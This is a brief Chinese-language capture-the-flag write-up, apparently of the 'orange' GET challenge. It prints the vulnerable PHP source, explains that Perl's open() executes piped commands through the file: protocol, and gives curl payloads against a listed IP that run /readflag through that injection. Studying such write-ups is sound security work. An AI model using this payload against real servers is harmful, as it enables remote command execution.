题目源码:
<?php
$sandbox = "sandbox/" . md5("orange" .$_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
perl在open当中可以执行命令,如:
open(FD, "ls|")或open(FD, "|ls")
都可以执行ls命令,而GET是在perl下执行的,当GET使用file协议的时候就会调用到perl的open函数,这就是我们要利用的点,
image.png
payload
curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=/xx' > /dev/null
curl 'http://13.115.136.15/sandbox/f0a42db72ab289fd33e24107424a2f9a/xx/'